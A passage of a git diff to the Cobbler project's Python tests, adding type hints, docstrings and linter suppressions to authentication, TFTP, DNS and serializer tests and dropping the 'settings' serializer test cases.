         test_settings.ldap_tls = True
         test_settings.ldap_tls_cacertdir = tls_cadir
-        test_settings.ldap_tls_cacertfile = None
+        test_settings.ldap_tls_cacertfile = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
 
@@ -161,12 +197,18 @@ def test_cadir_negative(
         [("/etc/ssl/ca-slapd.crt", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")],
     )
     def test_cafile_positive(
-        self, mocker, cobbler_api, test_settings, tls_cafile, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cafile: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
         test_settings.ldap_tls = True
-        test_settings.ldap_tls_cacertdir = None
+        test_settings.ldap_tls_cacertdir = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_cacertfile = tls_cafile
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
@@ -182,12 +224,18 @@ def test_cafile_positive(
         [("/etc/ssl/ca-slapd.crt", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")],
     )
     def test_cafile_negative(
-        self, mocker, cobbler_api, test_settings, tls_cafile, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cafile: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
         test_settings.ldap_tls = True
-        test_settings.ldap_tls_cacertdir = None
+        test_settings.ldap_tls_cacertdir = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_cacertfile = tls_cafile
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
@@ -203,13 +251,19 @@ def test_cafile_negative(
         [("/etc/ssl/ca-slapd.crt", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")],
     )
     def test_ldaps_positive(
-        self, mocker, cobbler_api, test_settings, tls_cafile, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cafile: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
         test_settings.ldap_tls = False
         test_settings.ldap_port = 636
-        test_settings.ldap_tls_cacertdir = None
+        test_settings.ldap_tls_cacertdir = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_cacertfile = tls_cafile
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
@@ -225,17 +279,23 @@ def test_ldaps_positive(
         [("/etc/ssl/ca-slapd.crt", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")],
     )
     def test_ldaps_negative(
-        self, mocker, cobbler_api, test_settings, tls_cafile, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cafile: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
         test_settings.ldap_tls = False
         test_settings.ldap_port = 636
-        test_settings.ldap_tls_cacertdir = None
+        test_settings.ldap_tls_cacertdir = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_cacertfile = tls_cafile
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
 
         # Act & Assert
         with pytest.raises(ValueError):
-            result = ldap.authenticate(cobbler_api, "test", "test")
+            ldap.authenticate(cobbler_api, "test", "test")
diff --git a/tests/modules/authentication/pam_test.py b/tests/modules/authentication/pam_test.py
index 4aa5305a1d..86aad233b3 100644
--- a/tests/modules/authentication/pam_test.py
+++ b/tests/modules/authentication/pam_test.py
@@ -1,8 +1,13 @@
+"""
+Tests that validate the functionality of the module that is responsible for PAM authentication.
+"""
+
+from cobbler.api import CobblerAPI
 from cobbler.modules.authentication import pam
 
 
 class TestPam:
-    def test_authenticate(self, cobbler_api):
+    def test_authenticate(self, cobbler_api: CobblerAPI):
         # Arrange
         test_username = "test"
         test_password = "test"
diff --git a/tests/modules/authentication/passthrough_test.py b/tests/modules/authentication/passthrough_test.py
index 322b45c9aa..6a58260ebb 100644
--- a/tests/modules/authentication/passthrough_test.py
+++ b/tests/modules/authentication/passthrough_test.py
@@ -1,16 +1,23 @@
+"""
+Tests that validate the functionality of the module that is responsible for passthrough authentication.
+"""
+
+from pytest import MonkeyPatch
+
 from cobbler import utils
+from cobbler.api import CobblerAPI
 from cobbler.modules.authentication import passthru
 
 
 class TestPassthrough:
-    def test_authenticate_negative(self):
+    def test_authenticate_negative(self, cobbler_api: CobblerAPI):
         # Arrange & Act
-        result = passthru.authenticate("", "", "")
+        result = passthru.authenticate(cobbler_api, "", "")
 
         # Assert
         assert not result
 
-    def test_authenticate(self, monkeypatch):
+    def test_authenticate(self, monkeypatch: MonkeyPatch, cobbler_api: CobblerAPI):
         # Arrange
         def mockreturn():
             return "testpassword"
@@ -18,7 +25,7 @@ def mockreturn():
         monkeypatch.setattr(utils, "get_shared_secret", mockreturn)
 
         # Act
-        result = passthru.authenticate("", "", "testpassword")
+        result = passthru.authenticate(cobbler_api, "", "testpassword")
 
         # Assert
         assert result
diff --git a/tests/modules/authorization/allowall_test.py b/tests/modules/authorization/allowall_test.py
index ee3fe42807..50184f10d1 100644
--- a/tests/modules/authorization/allowall_test.py
+++ b/tests/modules/authorization/allowall_test.py
@@ -1,3 +1,8 @@
+"""
+Tests that validate the functionality of the module that is responsible for authorization.
+"""
+
+from cobbler.api import CobblerAPI
 from cobbler.modules.authorization import allowall
 
 
@@ -6,6 +11,6 @@ def test_register():
     assert allowall.register() == "authz"
 
 
-def test_authorize():
+def test_authorize(cobbler_api: CobblerAPI):
     # Arrange & Act & Assert
-    assert allowall.authorize(None, None, None)
+    assert allowall.authorize(cobbler_api, "", "")
diff --git a/tests/modules/managers/genders_test.py b/tests/modules/managers/genders_test.py
index f48cd528cd..a237e42ec1 100644
--- a/tests/modules/managers/genders_test.py
+++ b/tests/modules/managers/genders_test.py
@@ -1,4 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the genders config file.
+"""
+
 import time
+from typing import TYPE_CHECKING
 from unittest.mock import MagicMock
 
 import pytest
@@ -10,9 +15,13 @@
 from cobbler.modules.managers import genders
 from cobbler.settings import Settings
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 @pytest.fixture
-def api_genders_mock():
+def api_genders_mock() -> CobblerAPI:
+    # pylint: disable=protected-access
     settings_mock = MagicMock(name="genders_setting_mock", spec=Settings)
     settings_mock.server = "127.0.0.1"
     settings_mock.default_template_type = "cheetah"
@@ -44,11 +53,11 @@ def api_genders_mock():
     api_mock.distros.return_value = [test_distro]
     test_profile = Profile(api_mock)
     test_profile.name = "test_profile"
-    test_profile._parent = test_distro.name
+    test_profile._parent = test_distro.name  # type: ignore[reportPrivateUsage]
     api_mock.profiles.return_value = [test_profile]
     test_system = System(api_mock)
     test_system.name = "test_system"
-    test_system._parent = test_profile.name
+    test_system._parent = test_profile.name  # type: ignore[reportPrivateUsage]
     api_mock.find_system.return_value = [test_system]
     api_mock.systems.return_value = [test_system]
     return api_mock
@@ -63,7 +72,7 @@ def test_register():
     assert result == "/var/lib/cobbler/triggers/change/*"
 
 
-def test_write_genders_file(mocker, api_genders_mock):
+def test_write_genders_file(mocker: "MockerFixture", api_genders_mock: CobblerAPI):
     # Arrange
     templar_mock = mocker.patch(
         "cobbler.modules.managers.genders.Templar", autospec=True
@@ -77,9 +86,9 @@ def test_write_genders_file(mocker, api_genders_mock):
     # Act
     genders.write_genders_file(
         api_genders_mock,
-        "profiles_genders_value",
-        "distros_genders_value",
-        "mgmtcls_genders_value",
+        "profiles_genders_value",  # type: ignore[reportArgumentType]
+        "distros_genders_value",  # type: ignore[reportArgumentType]
+        "mgmtcls_genders_value",  # type: ignore[reportArgumentType]
     )
 
     # Assert
@@ -96,7 +105,7 @@ def test_write_genders_file(mocker, api_genders_mock):
     )
 
 
-def test_run(mocker, api_genders_mock):
+def test_run(mocker: "MockerFixture", api_genders_mock: CobblerAPI):
     # Arrange
     genders_mock = mocker.patch(
         "cobbler.modules.managers.genders.write_genders_file", autospec=True
diff --git a/tests/modules/managers/import_signatures_test.py b/tests/modules/managers/import_signatures_test.py
index fb28071beb..68bb941cf3 100644
--- a/tests/modules/managers/import_signatures_test.py
+++ b/tests/modules/managers/import_signatures_test.py
@@ -1,5 +1,10 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing imported distribution trees.
+"""
+
 import pytest
 
+from cobbler.api import CobblerAPI
 from cobbler.modules.managers import import_signatures
 
 
@@ -16,20 +21,22 @@ def test_register():
 def test_import_walker():
     # Arrange
     # Act
-    import_signatures.import_walker("", True, "")
+    import_signatures.import_walker("", True, "")  # type: ignore
 
     # Assert
     assert False
 
 
-def test_get_manager(cobbler_api):
+def test_get_manager(cobbler_api: CobblerAPI):
     # Arrange & Act
     result = import_signatures.get_import_manager(cobbler_api)
 
     # Assert
-    isinstance(result, import_signatures._ImportSignatureManager)
+    # pylint: disable-next=protected-access
+    isinstance(result, import_signatures._ImportSignatureManager)  # type: ignore
 
 
 def test_manager_what():
     # Arrange & Act & Assert
-    assert import_signatures._ImportSignatureManager.what() == "import/signatures"
+    # pylint: disable-next=protected-access
+    assert import_signatures._ImportSignatureManager.what() == "import/signatures"  # type: ignore
diff --git a/tests/modules/managers/in_tftpd_test.py b/tests/modules/managers/in_tftpd_test.py
index 8e101d4ffc..dad3655645 100644
--- a/tests/modules/managers/in_tftpd_test.py
+++ b/tests/modules/managers/in_tftpd_test.py
@@ -1,3 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the config files of the
+ISC DHCP server.
+"""
+
+from typing import TYPE_CHECKING, Any, Generator, List
 from unittest.mock import MagicMock, Mock
 
 import pytest
@@ -10,9 +16,12 @@
 from cobbler.settings import Settings
 from cobbler.tftpgen import TFTPGen
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture
-def api_mock_tftp():
+@pytest.fixture(name="api_mock_tftp")
+def fixture_api_mock_tftp() -> CobblerAPI:
     api_mock_tftp = MagicMock(spec=CobblerAPI)
     settings_mock = MagicMock(
         name="in_tftpd_setting_mock", spec=Settings, autospec=True
@@ -56,8 +65,8 @@ def api_mock_tftp():
     return api_mock_tftp
 
 
-@pytest.fixture(scope="function", autouse=True)
-def reset_singleton():
+@pytest.fixture(name="reset_singleton", scope="function", autouse=True)
+def fixture_reset_singleton() -> Generator[Any, Any, Any]:
     in_tftpd.MANAGER = None
     yield
     in_tftpd.MANAGER = None
@@ -74,10 +83,10 @@ def test_register():
 
 def test_manager_what():
     # Arrange & Act & Assert
-    assert in_tftpd._InTftpdManager.what() == "in_tftpd"
+    assert in_tftpd._InTftpdManager.what() == "in_tftpd"  # type: ignore[reportPrivateUsage]
 
 
-def test_tftpd_singleton(reset_singleton):
+def test_tftpd_singleton(reset_singleton: Any):
     # Arrange
     mcollection = Mock()
 
@@ -92,18 +101,22 @@ def test_tftpd_singleton(reset_singleton):
 @pytest.mark.skip(
     "TODO: in utils.blender() we have the problem that 'server' is not available."
 )
-def test_manager_write_boot_files_distro(api_mock_tftp, reset_singleton):
+def test_manager_write_boot_files_distro(
+    api_mock_tftp: CobblerAPI, reset_singleton: Any
+):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
 
     # Act
-    result = manager_obj.write_boot_files_distro(api_mock_tftp.distros()[0])
+    result = manager_obj.write_boot_files_distro(api_mock_tftp.distros()[0])  # type: ignore[reportUnknownArgumentType]
 
     # Assert
     assert result == 0
 
 
-def test_manager_write_boot_files(mocker, api_mock_tftp, reset_singleton):
+def test_manager_write_boot_files(
+    mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any
+):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
     mocker.patch.object(manager_obj, "write_boot_files_distro")
@@ -112,25 +125,31 @@ def test_manager_write_boot_files(mocker, api_mock_tftp, reset_singleton):
     result = manager_obj.write_boot_files()
 
     # Assert
-    assert manager_obj.write_boot_files_distro.call_count == 1
+    # pylint: disable=no-member
+    assert manager_obj.write_boot_files_distro.call_count == 1  # type: ignore[reportFunctionMemberAccess]
     assert result == 0
 
 
-def test_manager_sync_single_system(mocker, api_mock_tftp, reset_singleton):
+def test_manager_sync_single_system(
+    mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any
+):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
     tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True)
     mocker.patch.object(manager_obj, "tftpgen", return_value=tftpgen_mock)
 
     # Act
-    manager_obj.sync_single_system(None, None)
+    manager_obj.sync_single_system(None, None)  # type: ignore[reportArgumentType]
 
     # Assert
-    assert manager_obj.tftpgen.write_all_system_files.call_count == 1
-    assert manager_obj.tftpgen.write_templates.call_count == 1
+    # pylint: disable=no-member
+    assert manager_obj.tftpgen.write_all_system_files.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.write_templates.call_count == 1  # type: ignore[reportFunctionMemberAccess]
 
 
-def test_manager_add_single_distro(mocker, api_mock_tftp, reset_singleton):
+def test_manager_add_single_distro(
+    mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any
+):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
     tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True)
@@ -138,11 +157,12 @@ def test_manager_add_single_distro(mocker, api_mock_tftp, reset_singleton):
     mocker.patch.object(manager_obj, "write_boot_files_distro")
 
     # Act
-    manager_obj.add_single_distro(None)
+    manager_obj.add_single_distro(None)  # type: ignore[reportArgumentType]
 
     # Assert
-    assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1
-    assert manager_obj.write_boot_files_distro.call_count == 1
+    # pylint: disable=no-member
+    assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.write_boot_files_distro.call_count == 1  # type: ignore[reportFunctionMemberAccess]
 
 
 @pytest.mark.parametrize(
@@ -150,12 +170,12 @@ def test_manager_add_single_distro(mocker, api_mock_tftp, reset_singleton):
     [(["t1.example.org"], True, "t1.example.org")],
 )
 def test_sync_systems(
-    mocker,
-    api_mock_tftp,
-    input_systems,
-    input_verbose,
-    expected_output,
-    reset_singleton,
+    mocker: "MockerFixture",
+    api_mock_tftp: CobblerAPI,
+    input_systems: List[str],
+    input_verbose: bool,
+    expected_output: str,
+    reset_singleton: Any,
 ):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
@@ -167,12 +187,15 @@ def test_sync_systems(
     manager_obj.sync_systems(input_systems, input_verbose)
 
     # Assert
-    assert manager_obj.tftpgen.get_menu_items.call_count == 1
+    # pylint: disable=no-member
+    assert manager_obj.tftpgen.get_menu_items.call_count == 1  # type: ignore[reportFunctionMemberAccess]
     assert single_system_mock.call_count == 1
-    assert manager_obj.tftpgen.make_pxe_menu.call_count == 1
+    assert manager_obj.tftpgen.make_pxe_menu.call_count == 1  # type: ignore[reportFunctionMemberAccess]
 
 
-def test_manager_sync(mocker, api_mock_tftp, reset_singleton):
+def test_manager_sync(
+    mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any
+):
     # Arrange
     manager_obj = in_tftpd.get_manager(api_mock_tftp)
     tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True)
@@ -182,9 +205,10 @@ def test_manager_sync(mocker, api_mock_tftp, reset_singleton):
     manager_obj.sync()
 
     # Assert
-    assert manager_obj.tftpgen.copy_bootloaders.call_count == 1
-    assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1
-    assert manager_obj.tftpgen.copy_images.call_count == 1
-    assert manager_obj.tftpgen.get_menu_items.call_count == 1
-    assert manager_obj.tftpgen.write_all_system_files.call_count == 1
-    assert manager_obj.tftpgen.make_pxe_menu.call_count == 1
+    # pylint: disable=no-member
+    assert manager_obj.tftpgen.copy_bootloaders.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.copy_images.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.get_menu_items.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.write_all_system_files.call_count == 1  # type: ignore[reportFunctionMemberAccess]
+    assert manager_obj.tftpgen.make_pxe_menu.call_count == 1  # type: ignore[reportFunctionMemberAccess]
diff --git a/tests/modules/managers/isc_test.py b/tests/modules/managers/isc_test.py
index 9950891c4e..4c4bbfbb56 100644
--- a/tests/modules/managers/isc_test.py
+++ b/tests/modules/managers/isc_test.py
@@ -1,6 +1,7 @@
 """
-Test to verify the functionallity of the isc DHCP module.
+Test to verify the functionality of the isc DHCP module.
 """
+
 import time
 from typing import TYPE_CHECKING
 from unittest.mock import MagicMock
diff --git a/tests/modules/managers/ndjbdns_test.py b/tests/modules/managers/ndjbdns_test.py
index 34ecfb5a62..b079715c3b 100644
--- a/tests/modules/managers/ndjbdns_test.py
+++ b/tests/modules/managers/ndjbdns_test.py
@@ -1,8 +1,18 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the djbdns config files.
+"""
+
+from typing import TYPE_CHECKING, Any
+
+from cobbler.api import CobblerAPI
 from cobbler.items.network_interface import NetworkInterface
 from cobbler.items.system import System
 from cobbler.modules.managers import ndjbdns
 from cobbler.templar import Templar
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 def test_register():
     # Arrange
@@ -13,17 +23,19 @@ def test_register():
     assert result == "manage"
 
 
-def test_get_manager(cobbler_api):
+def test_get_manager(cobbler_api: CobblerAPI):
     # Arrange & Act
     result = ndjbdns.get_manager(cobbler_api)
 
     # Assert
-    isinstance(result, ndjbdns._NDjbDnsManager)
+    # pylint: disable-next=protected-access
+    isinstance(result, ndjbdns._NDjbDnsManager)  # type: ignore[reportPrivateUsage]
 
 
 def test_manager_what():
     # Arrange & Act & Assert
-    assert ndjbdns._NDjbDnsManager.what() == "ndjbdns"
+    # pylint: disable-next=protected-access
+    assert ndjbdns._NDjbDnsManager.what() == "ndjbdns"  # type: ignore[reportPrivateUsage]
 
 
 class MockedPopen:
@@ -31,17 +43,19 @@ class MockedPopen:
     See https://stackoverflow.com/a/53793739
     """
 
-    def __init__(self, args, **kwargs):
+    # pylint: disable=unused-argument,redefined-builtin
+
+    def __init__(self, args: Any, **kwargs: Any):
         self.args = args
         self.returncode = 0
 
     def __enter__(self):
         return self
 
-    def __exit__(self, exc_type, value, traceback):
+    def __exit__(self, exc_type: Any, value: Any, traceback: Any):
         pass
 
-    def communicate(self, input=None, timeout=None):
+    def communicate(self, input: Any = None, timeout: Any = None):
         stdout = "output"
         stderr = "error"
         self.returncode = 0
@@ -49,7 +63,7 @@ def communicate(self, input=None, timeout=None):
         return stdout, stderr
 
 
-def test_manager_write_configs(mocker, cobbler_api):
+def test_manager_write_configs(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     # Arrange
     mocker.patch("builtins.open", mocker.mock_open(read_data="test"))
     mocker.patch("subprocess.Popen", MockedPopen)
@@ -65,7 +79,7 @@ def test_manager_write_configs(mocker, cobbler_api):
     ndjbdns.MANAGER = None
     test_manager = ndjbdns.get_manager(cobbler_api)
     test_manager.templar = mocker.MagicMock(spec=Templar, autospec=True)
-    test_manager.systems = [mock_system]
+    test_manager.systems = [mock_system]  # type: ignore[reportAttributeAccessIssue]
 
     # Act
     test_manager.write_configs()
diff --git a/tests/modules/nsupdate_add_system_post_test.py b/tests/modules/nsupdate_add_system_post_test.py
index fa40062083..33f3f3c49e 100644
--- a/tests/modules/nsupdate_add_system_post_test.py
+++ b/tests/modules/nsupdate_add_system_post_test.py
@@ -1,9 +1,18 @@
+"""
+Tests that validate the functionality of the module that is responsible for replacing or adding DNS records after a
+Cobbler system was deleted.
+"""
+
+from typing import TYPE_CHECKING
 from unittest.mock import MagicMock
 
 from cobbler.api import CobblerAPI
 from cobbler.modules import nsupdate_add_system_post
 from cobbler.settings import Settings
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 def test_register():
     # Arrange & Act
@@ -13,7 +22,7 @@ def test_register():
     assert result == "/var/lib/cobbler/triggers/add/system/post/*"
 
 
-def test_run(mocker):
+def test_run(mocker: "MockerFixture"):
     # Arrange
     settings_mock = MagicMock(
         name="nsupdate_add_system_post_setting_mock", spec=Settings
diff --git a/tests/modules/nsupdate_delete_system_pre_test.py b/tests/modules/nsupdate_delete_system_pre_test.py
index 0d10e05412..6f260c317b 100644
--- a/tests/modules/nsupdate_delete_system_pre_test.py
+++ b/tests/modules/nsupdate_delete_system_pre_test.py
@@ -1,9 +1,19 @@
+"""
+Tests that validate the functionality of the module that is responsible for replacing or deleting DNS records after a
+Cobbler system was deleted.
+"""
+
+
+from typing import TYPE_CHECKING
 from unittest.mock import MagicMock
 
 from cobbler.api import CobblerAPI
 from cobbler.modules import nsupdate_delete_system_pre
 from cobbler.settings import Settings
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 def test_register():
     # Arrange & Act
@@ -13,7 +23,7 @@ def test_register():
     assert result == "/var/lib/cobbler/triggers/delete/system/pre/*"
 
 
-def test_run(mocker):
+def test_run(mocker: "MockerFixture"):
     # Arrange
     settings_mock = MagicMock(
         name="nsupdaet_delete_system_pre_setting_mock", spec=Settings
diff --git a/tests/modules/serializer/file_test.py b/tests/modules/serializer/file_test.py
index 32c133d927..6b1fd54f40 100644
--- a/tests/modules/serializer/file_test.py
+++ b/tests/modules/serializer/file_test.py
@@ -199,7 +199,7 @@ def test_serialize_delete(
 
 @pytest.mark.parametrize(
     "input_collection_type,input_collection",
-    [("settings", {}), ("distros", MagicMock())],
+    [("distros", MagicMock())],
 )
 def test_serialize(
     mocker: MockerFixture,
@@ -234,7 +234,6 @@ def test_serialize(
 @pytest.mark.parametrize(
     "input_collection_type,expected_result,settings_read",
     [
-        ("settings", {}, True),
         ("distros", [], False),
     ],
 )
@@ -261,8 +260,6 @@ def test_deserialize_raw(
 @pytest.mark.parametrize(
     "input_collection_type,input_collection,input_topological,expected_result",
     [
-        ("settings", {}, True, {}),
-        ("settings", {}, False, {}),
         (
             "distros",
             [{"depth": 2, "name": False}, {"depth": 1, "name": True}],
diff --git a/tests/modules/serializer/mongodb_test.py b/tests/modules/serializer/mongodb_test.py
index ff884fb66e..e9ab210306 100644
--- a/tests/modules/serializer/mongodb_test.py
+++ b/tests/modules/serializer/mongodb_test.py
@@ -1,5 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for (de)serializing items to MongoDB.
+"""
+
 import copy
-from typing import ContextManager
+from typing import TYPE_CHECKING, Any
 
 import pytest
 
@@ -9,15 +13,18 @@
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 @pytest.fixture
-def mongodb_obj(cobbler_api: CobblerAPI):
+def mongodb_obj(cobbler_api: CobblerAPI) -> mongodb.MongoDBSerializer:
     return mongodb.storage_factory(cobbler_api)
 
 
 @pytest.fixture(scope="function", autouse=True)
-def reset_database(mongodb_obj):
-    mongodb_obj.mongodb.drop_database("cobbler")
+def reset_database(mongodb_obj: mongodb.MongoDBSerializer):
+    mongodb_obj.mongodb.drop_database("cobbler")  # type: ignore
 
 
 def test_register():
@@ -36,7 +43,9 @@ def test_storage_factory(cobbler_api: CobblerAPI):
     assert isinstance(result, mongodb.MongoDBSerializer)
 
 
-def test_serialize_item(mocker, mongodb_obj):
+def test_serialize_item(
+    mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer
+):
     # Arrange
     mock_collection = mocker.MagicMock()
     mock_collection.collection_types.return_value = "distros"
@@ -49,10 +58,12 @@ def test_serialize_item(mocker, mongodb_obj):
     mongodb_obj.serialize_item(mock_collection, mock_item)
 
     # Assert
-    assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 1
+    assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 1  # type: ignore
 
 
-def test_serialize_delete(mocker, mongodb_obj):
+def test_serialize_delete(
+    mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer
+):
     # Arrange
     mock_collection = mocker.MagicMock()
     mock_collection.collection_types.return_value = "distros"
@@ -63,10 +74,10 @@ def test_serialize_delete(mocker, mongodb_obj):
     mongodb_obj.serialize_delete(mock_collection, mock_item)
 
     # Assert
-    assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 0
+    assert len(list(mongodb_obj.mongodb["cobbler"]["distros"].find())) == 0  # type: ignore
 
 
-def test_serialize(mocker, mongodb_obj):
+def test_serialize(mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer):
     # Arrange
     mock_collection = mocker.MagicMock()
     mock_collection.collection_types.return_value = "distros"
@@ -80,13 +91,13 @@ def test_serialize(mocker, mongodb_obj):
     assert mock_serialize_item.call_count == 1
 
 
-def test_deserialize_raw(mongodb_obj):
+def test_deserialize_raw(mongodb_obj: mongodb.MongoDBSerializer):
     # Arrange
     collection_type = "distros"
-    mongodb_obj.mongodb["cobbler"][collection_type].insert_one(
+    mongodb_obj.mongodb["cobbler"][collection_type].insert_one(  # type: ignore
         {"name": "testitem", "arch": "x86_64"}
     )
-    mongodb_obj.mongodb["cobbler"][collection_type].insert_one(
+    mongodb_obj.mongodb["cobbler"][collection_type].insert_one(  # type: ignore
         {"name": "testitem2", "arch": "x86_64"}
     )
 
@@ -98,7 +109,7 @@ def test_deserialize_raw(mongodb_obj):
     assert len(result) == 2
 
 
-def test_deserialize(mocker, mongodb_obj):
+def test_deserialize(mocker: "MockerFixture", mongodb_obj: mongodb.MongoDBSerializer):
     # Arrange
     mock_collection = mocker.MagicMock()
     mock_collection.collection_types.return_value = "distros"
@@ -131,17 +142,17 @@ def test_deserialize(mocker, mongodb_obj):
     ],
 )
 def test_deserialize_item(
-    mongodb_obj: mongodb.MongoDBSerializer, item_name: str, expected_exception
+    mongodb_obj: mongodb.MongoDBSerializer, item_name: str, expected_exception: Any
 ):
     # Arrange
     collection_type = "distros"
     input_value = {"name": item_name, "arch": "x86_64"}
     test_item = copy.deepcopy(input_value)
-    if item_name is not None:
-        mongodb_obj.mongodb["cobbler"][collection_type].insert_one(test_item)
+    if item_name is not None:  # type: ignore
+        mongodb_obj.mongodb["cobbler"][collection_type].insert_one(test_item)  # type: ignore
 
     expected_value = input_value.copy()
-    expected_value["inmemory"] = True
+    expected_value["inmemory"] = True  # type: ignore
 
     # Act
     with expected_exception:
diff --git a/tests/modules/serializer/sqlite_test.py b/tests/modules/serializer/sqlite_test.py
index ad8c48b57a..131f6a67ef 100644
--- a/tests/modules/serializer/sqlite_test.py
+++ b/tests/modules/serializer/sqlite_test.py
@@ -1,3 +1,7 @@
+"""
+Tests that validate the functionality of the module that is responsible for (de)serializing items to SQLite.
+"""
+
 import json
 import os
 import pathlib
@@ -18,7 +22,7 @@
 
 
 @pytest.fixture()
-def test_settings(mocker: MockerFixture, cobbler_api: CobblerAPI):
+def test_settings(mocker: MockerFixture, cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(name="sqlite_setting_mock", spec=Settings)
     settings.lazy_start = False
     settings.cache_enabled = False
@@ -65,7 +69,10 @@ def remove(
 
 @pytest.fixture()
 def serializer_obj(
-    mocker: MockerFixture, cobbler_api: CobblerAPI, tmpdir: pathlib.Path, test_settings
+    mocker: MockerFixture,
+    cobbler_api: CobblerAPI,
+    tmpdir: pathlib.Path,
+    test_settings: Settings,
 ):
     """
     Generates an empty serializer object that is ready to be used.
@@ -207,7 +214,7 @@ def test_serialize_delete(
 
 @pytest.mark.parametrize(
     "input_collection_type,input_collection",
-    [("settings", {}), ("tests", MagicMock())],
+    [("tests", MagicMock())],
 )
 def test_serialize(
     #    mocker: MockerFixture,
@@ -217,48 +224,39 @@ def test_serialize(
     cobbler_api: CobblerAPI,
 ):
     # Arrange
-    if input_collection_type == "settings":
-        mcollection = Settings()
-    else:
-        mitem = MockItem(cobbler_api)
-        mitem.name = "test_serialize"
-        mcollection = MockCollection(cobbler_api._collection_mgr)  # type: ignore
-        mcollection.listing[mitem.name] = mitem
+    mitem = MockItem(cobbler_api)
+    mitem.name = "test_serialize"
+    mcollection = MockCollection(cobbler_api._collection_mgr)  # type: ignore
+    mcollection.listing[mitem.name] = mitem
 
     # Act
     serializer_obj.serialize(mcollection)  # type: ignore
-    if input_collection_type != "settings":
-        cursor = serializer_obj.connection.execute(  # type: ignore
-            "SELECT name FROM sqlite_master WHERE name=:name",
-            {"name": input_collection_type},
-        )
-        table_exists = cursor.fetchone() is not None
-        cursor = serializer_obj.connection.execute(  # type: ignore
-            f"SELECT name FROM {input_collection_type} WHERE name=:name",
-            {"name": mitem.name},  # type: ignore
-        )
-        row_exists = cursor.fetchone() is not None
+    cursor = serializer_obj.connection.execute(  # type: ignore
+        "SELECT name FROM sqlite_master WHERE name=:name",
+        {"name": input_collection_type},
+    )
+    table_exists = cursor.fetchone() is not None
+    cursor = serializer_obj.connection.execute(  # type: ignore
